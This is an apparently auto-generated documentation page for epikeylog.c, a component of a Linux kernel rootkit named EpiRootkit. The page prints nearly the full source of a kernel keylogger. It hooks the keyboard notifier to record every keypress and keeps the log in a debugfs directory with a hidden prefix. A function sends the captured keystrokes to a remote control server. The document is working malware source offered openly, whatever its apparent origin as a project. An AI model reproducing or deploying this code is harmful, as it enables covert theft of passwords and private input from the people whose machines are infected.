EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
epikeylog.c File Reference
#include <linux/debugfs.h>
#include <linux/init.h>
#include <linux/input.h>
#include <linux/kernel.h>
#include <linux/keyboard.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include "epirootkit.h"
#include "io.h"
Include dependency graph for epikeylog.c:

Go to the source code of this file.

Classes

struct  keylog_buffer
 

Macros

#define MAX_CHAR_SIZE   12
 

Functions

static ssize_t keys_read (struct file *filp, char *buffer, size_t len, loff_t *offset)
 
static void keycode_to_string (int keycode, int shift_mask, char *buf)
 
static int epikeylog_callback (struct notifier_block *nblock, unsigned long code, void *_param)
 
int epikeylog_send_to_server (void)
 Handles sending the keylogger buffer content to the remote server.
 
static int prepare_dbgfs (void)
 Prepares the debugfs structures for the keylogger.
 
static void clean_dbgfs (void)
 Cleans up the debugfs structures.
 
int epikeylog_init ()
 Initializes the keylogger module.
 
int epikeylog_exit (void)
 Exits the keylogger module, unregisters the notifier, and cleans up.
 

Variables

static const char * keymap [][2]
 
static bool is_running = false
 
static struct dentry * file
 
static struct dentry * subdir
 
static struct keylog_buffer keylog_buf
 
const struct file_operations keys_fops
 
static struct notifier_block epikeylog_blk
 

Macro Definition Documentation

◆ MAX_CHAR_SIZE

#define MAX_CHAR_SIZE   12

Definition at line 14 of file epikeylog.c.

Function Documentation

◆ clean_dbgfs()

static void clean_dbgfs ( void  )
static

Cleans up the debugfs structures.

Definition at line 309 of file epikeylog.c.

309 {
310 if (file) {
311 debugfs_remove(file);
312 file = NULL;
313 }
314
315 if (subdir) {
316 debugfs_remove_recursive(subdir);
317 subdir = NULL;
318 }
319}
static struct dentry * subdir
Definition epikeylog.c:146
static struct dentry * file
Definition epikeylog.c:145

◆ epikeylog_callback()

static int epikeylog_callback ( struct notifier_block *  nblock,
unsigned long  code,
void *  _param 
)
static

Keyboard notifier callback function.

Parameters
nblockPointer to the notifier block structure.
codeThe action/event type (e.g., key press, key release).
_paramPointer to event-specific data.
Returns
NOTIFY_OK or appropriate notifier return value.

Definition at line 203 of file epikeylog.c.

204 {
205 size_t len;
206 char keybuf[MAX_CHAR_SIZE] = { 0 };
207 struct keyboard_notifier_param *param = _param;
208
209 // Only process key presses
210 if (!param->down)
211 return NOTIFY_OK;
212
213 keycode_to_string(param->value, param->shift, keybuf);
214 len = strlen(keybuf);
215 if (len < 1)
216 return NOTIFY_OK;
217
218 // Resize buffer if necessary
219 if (keylog_buf.pos + len >= keylog_buf.size) {
220 size_t new_size = keylog_buf.size + STD_BUFFER_SIZE;
221 char *new_buf = krealloc(keylog_buf.buf, new_size, GFP_KERNEL);
222 if (!new_buf) {
223 ERR_MSG("epikeylog_callback: memory reallocation failed\n");
224 return NOTIFY_BAD;
225 }
226 keylog_buf.buf = new_buf;
227 keylog_buf.size = new_size;
228 }
229
230 strncpy(keylog_buf.buf + keylog_buf.pos, keybuf, len);
231 keylog_buf.pos += len;
232
233 pr_debug("%s\n", keybuf);
234 return NOTIFY_OK;
235}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define STD_BUFFER_SIZE
Definition config.h:68
static void keycode_to_string(int keycode, int shift_mask, char *buf)
Definition epikeylog.c:188
static struct keylog_buffer keylog_buf
Definition epikeylog.c:155
#define MAX_CHAR_SIZE
Definition epikeylog.c:14

◆ epikeylog_exit()

int epikeylog_exit ( void  )

Exits the keylogger module, unregisters the notifier, and cleans up.

Returns
0 on success, negative error code on failure.

Definition at line 363 of file epikeylog.c.

363 {
364 if (!is_running) {
365 DBG_MSG("epikeylog_exit: already stopped\n");
366 return SUCCESS;
367 }
368
369 if (unregister_keyboard_notifier(&epikeylog_blk) != 0) {
370 ERR_MSG("epikeylog_exit: failed to unregister keyboard notifier\n");
371 return -EIO;
372 }
373
374 if (!subdir || IS_ERR(subdir)) {
375 ERR_MSG("epikeylog_exit: debugfs directory invalid\n");
376 return -EIO;
377 }
378
379 clean_dbgfs();
380
381 if (keylog_buf.buf) {
382 kfree(keylog_buf.buf);
383 keylog_buf.buf = NULL;
384 }
385
386 keylog_buf.pos = 0;
387 keylog_buf.size = 0;
388
389 is_running = false;
390 DBG_MSG("epikeylog_exit: keylogger stopped\n");
391
392 return SUCCESS;
393}
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define SUCCESS
Definition config.h:5
static struct notifier_block epikeylog_blk
Definition epikeylog.c:238
static void clean_dbgfs(void)
Cleans up the debugfs structures.
Definition epikeylog.c:309
static bool is_running
Definition epikeylog.c:142

◆ epikeylog_init()

int epikeylog_init ( void  )

Initializes the keylogger module.

Returns
0 on success, negative error code on failure.

Definition at line 325 of file epikeylog.c.

325 {
326 DBG_MSG("epikeylog_init: initializing keylogger\n");
327
328 if (is_running) {
329 DBG_MSG("epikeylog_init: already running\n");
330 return SUCCESS;
331 }
332
333 if (prepare_dbgfs() < 0) {
334 ERR_MSG("epikeylog_init: debugfs preparation failed\n");
335 return -ENOENT;
336 }
337
338 keylog_buf.pos = 0;
340 keylog_buf.buf = kzalloc(keylog_buf.size, GFP_KERNEL);
341 if (!keylog_buf.buf) {
342 ERR_MSG("epikeylog_init: keylog buffer allocation failed\n");
343 clean_dbgfs();
344 return -ENOMEM;
345 }
346
347 if (register_keyboard_notifier(&epikeylog_blk) != 0) {
348 ERR_MSG("epikeylog_init: keyboard notifier registration failed\n");
349 clean_dbgfs();
350 return -EIO;
351 }
352
353 is_running = true;
354 DBG_MSG("epikeylog_init: keylogger initialized\n");
355
356 return SUCCESS;
357}
static int prepare_dbgfs(void)
Prepares the debugfs structures for the keylogger.
Definition epikeylog.c:280

◆ epikeylog_send_to_server()

int epikeylog_send_to_server ( void  )

Handles sending the keylogger buffer content to the remote server.

Definition at line 245 of file epikeylog.c.

245 {
246 if (!is_running) {
247 DBG_MSG("epikeylog_send_to_server: not running\n");
249 TCP,
250 "epikeylog_send_to_server: not running. Activate it with `klgon`.\n");
251 return -EBUSY;
252 }
253
254 char *full_cmd = kzalloc(PATH_MAX, GFP_KERNEL);
255 if (!full_cmd) {
256 ERR_MSG("epikeylog_send_to_server: command memory allocation failed\n");
257 return -ENOMEM;
258 }
259
260 snprintf(full_cmd, PATH_MAX, "cat /sys/kernel/debug/%sklg/keys",
262 exec_str_as_command(full_cmd, true);
263
264 char *keys_content;
265 int readed_size = _read_file(STDOUT_FILE, &keys_content);
266 int ret_code = send_to_server_raw(keys_content, readed_size);
267
268 DBG_MSG("epikeylog_send_to_server: keylogger content sent\n");
269
270 kfree(full_cmd);
271 kfree(keys_content);
272
273 return ret_code;
274}
#define STDOUT_FILE
Definition config.h:57
@ TCP
Definition config.h:29
#define HIDDEN_PREFIX
Definition config.h:54
#define exec_str_as_command(user_cmd, catch_stds)
Definition epirootkit.h:37
int _read_file(const char *path, char **out_buf)
Definition io.c:12
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
int send_to_server_raw(const char *data, size_t len)
Definition network.c:123

◆ keycode_to_string()

static void keycode_to_string ( int  keycode,
int  shift_mask,
char *  buf 
)
static

Converts a keycode and shift state to a readable key string.

Parameters
keycodeThe keycode to convert.
shift_maskNon-zero if the shift key is pressed, zero otherwise.
bufBuffer to store the resulting key string.

Definition at line 188 of file epikeylog.c.

188 {
189 if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE) {
190 const char *key = shift_mask ? keymap[keycode][1] : keymap[keycode][0];
191 snprintf(buf, MAX_CHAR_SIZE, "%s", key);
192 }
193}
static const char * keymap[][2]
Definition epikeylog.c:17

◆ keys_read()

static ssize_t keys_read ( struct file filp,
char *  buffer,
size_t  len,
loff_t *  offset 
)
static

File read handler for debugfs file.

Parameters
filpPointer to the file structure.
bufferBuffer to copy data to user space.
lenNumber of bytes to read.
offsetPointer to the file offset.
Returns
Number of bytes read on success, negative error code on failure.

Definition at line 170 of file epikeylog.c.

171 {
172 return simple_read_from_buffer(buffer, len, offset, keylog_buf.buf,
174}

◆ prepare_dbgfs()

static int prepare_dbgfs ( void  )
static

Prepares the debugfs structures for the keylogger.

Returns
0 on success, negative error code on failure.

Definition at line 280 of file epikeylog.c.

280 {
281 char *dir_name = kzalloc(PATH_MAX, GFP_KERNEL);
282 if (!dir_name) {
283 ERR_MSG("prepare_dbgfs: directory name allocation failed\n");
284 return -ENOMEM;
285 }
286
287 snprintf(dir_name, PATH_MAX, "%s%s", HIDDEN_PREFIX, "klg");
288 subdir = debugfs_create_dir(dir_name, NULL);
289 kfree(dir_name);
290
291 if (IS_ERR(subdir) || !subdir) {
292 ERR_MSG("prepare_dbgfs: failed to create debugfs directory\n");
293 return PTR_ERR(subdir);
294 }
295
296 file = debugfs_create_file("keys", 0400, subdir, NULL, &keys_fops);
297 if (!file) {
298 ERR_MSG("prepare_dbgfs: failed to create debugfs file\n");
299 debugfs_remove_recursive(subdir);
300 return -ENOENT;
301 }
302
303 return SUCCESS;
304}
const struct file_operations keys_fops
Definition epikeylog.c:176

Variable Documentation

◆ epikeylog_blk

struct notifier_block epikeylog_blk
static
Initial value:
= {
.notifier_call = epikeylog_callback,
}
static int epikeylog_callback(struct notifier_block *nblock, unsigned long code, void *_param)
Definition epikeylog.c:203

Definition at line 238 of file epikeylog.c.

238 {
239 .notifier_call = epikeylog_callback,
240};

◆ file

struct dentry* file
static

Definition at line 145 of file epikeylog.c.

◆ is_running

bool is_running = false
static

Definition at line 142 of file epikeylog.c.

◆ keylog_buf

struct keylog_buffer keylog_buf
static
Initial value:
= {
.pos = 0,
.size = 0,
.buf = NULL,
}

Definition at line 155 of file epikeylog.c.

155 {
156 .pos = 0,
157 .size = 0,
158 .buf = NULL,
159};

◆ keymap

const char* keymap[][2]
static

Definition at line 17 of file epikeylog.c.

17 {
18 // keycode: [unshifted, shifted]
19 { "\0", "\0" },
20 { "_ESC_", "_ESC_" },
21 { "1", "!" },
22 { "2", "@" },
23 { "3", "#" },
24 { "4", "$" },
25 { "5", "%" },
26 { "6", "^" },
27 { "7", "&" },
28 { "8", "*" },
29 { "9", "(" },
30 { "0", ")" },
31 { "-", "_" },
32 { "=", "+" },
33 { "_BACKSPACE_", "_BACKSPACE_" },
34 { "_TAB_", "_TAB_" },
35 { "q", "Q" },
36 { "w", "W" },
37 { "e", "E" },
38 { "r", "R" },
39 { "t", "T" },
40 { "y", "Y" },
41 { "u", "U" },
42 { "i", "I" },
43 { "o", "O" },
44 { "p", "P" },
45 { "[", "{" },
46 { "]", "}" },
47 { "\n", "\n" },
48 { "_LCTRL_", "_LCTRL_" },
49 { "a", "A" },
50 { "s", "S" },
51 { "d", "D" },
52 { "f", "F" },
53 { "g", "G" },
54 { "h", "H" },
55 { "j", "J" },
56 { "k", "K" },
57 { "l", "L" },
58 { ";", ":" },
59 { "'", "\"" },
60 { "`", "~" },
61 { "_LSHIFT_", "_LSHIFT_" },
62 { "\\", "|" },
63 { "z", "Z" },
64 { "x", "X" },
65 { "c", "C" },
66 { "v", "V" },
67 { "b", "B" },
68 { "n", "N" },
69 { "m", "M" },
70 { ",", "<" },
71 { ".", ">" },
72 { "/", "?" },
73 { "_RSHIFT_", "_RSHIFT_" },
74 { "_PRTSCR_", "_KPD*_" },
75 { "_LALT_", "_LALT_" },
76 { " ", " " },
77 { "_CAPS_", "_CAPS_" },
78 { "F1", "F1" },
79 { "F2", "F2" },
80 { "F3", "F3" },
81 { "F4", "F4" },
82 { "F5", "F5" },
83 { "F6", "F6" },
84 { "F7", "F7" },
85 { "F8", "F8" },
86 { "F9", "F9" },
87 { "F10", "F10" },
88 { "_NUM_", "_NUM_" },
89 { "_SCROLL_", "_SCROLL_" },
90 { "_KPD7_", "_HOME_" },
91 { "_KPD8_", "_UP_" },
92 { "_KPD9_", "_PGUP_" },
93 { "-", "-" },
94 { "_KPD4_", "_LEFT_" },
95 { "_KPD5_", "_KPD5_" },
96 { "_KPD6_", "_RIGHT_" },
97 { "+", "+" },
98 { "_KPD1_", "_END_" },
99 { "_KPD2_", "_DOWN_" },
100 { "_KPD3_", "_PGDN" },
101 { "_KPD0_", "_INS_" },
102 { "_KPD._", "_DEL_" },
103 { "_SYSRQ_", "_SYSRQ_" },
104 { "\0", "\0" },
105 { "\0", "\0" },
106 { "F11", "F11" },
107 { "F12", "F12" },
108 { "\0", "\0" },
109 { "\0", "\0" },
110 { "\0", "\0" },
111 { "\0", "\0" },
112 { "\0", "\0" },
113 { "\0", "\0" },
114 { "\0", "\0" },
115 { "_KPENTER_", "_KPENTER_" },
116 { "_RCTRL_", "_RCTRL_" },
117 { "/", "/" },
118 { "_PRTSCR_", "_PRTSCR_" },
119 { "_RALT_", "_RALT_" },
120 { "\0", "\0" },
121 { "_HOME_", "_HOME_" },
122 { "_UP_", "_UP_" },
123 { "_PGUP_", "_PGUP_" },
124 { "_LEFT_", "_LEFT_" },
125 { "_RIGHT_", "_RIGHT_" },
126 { "_END_", "_END_" },
127 { "_DOWN_", "_DOWN_" },
128 { "_PGDN", "_PGDN" },
129 { "_INS_", "_INS_" },
130 { "_DEL_", "_DEL_" },
131 { "\0", "\0" },
132 { "\0", "\0" },
133 { "\0", "\0" },
134 { "\0", "\0" },
135 { "\0", "\0" },
136 { "\0", "\0" },
137 { "\0", "\0" },
138 { "_PAUSE_", "_PAUSE_" }
139};

◆ keys_fops

const struct file_operations keys_fops
Initial value:
= {
.owner = THIS_MODULE,
.read = keys_read,
}
static ssize_t keys_read(struct file *filp, char *buffer, size_t len, loff_t *offset)
Definition epikeylog.c:170

Definition at line 176 of file epikeylog.c.

176 {
177 .owner = THIS_MODULE,
178 .read = keys_read,
179};

◆ subdir

struct dentry* subdir
static

Definition at line 146 of file epikeylog.c.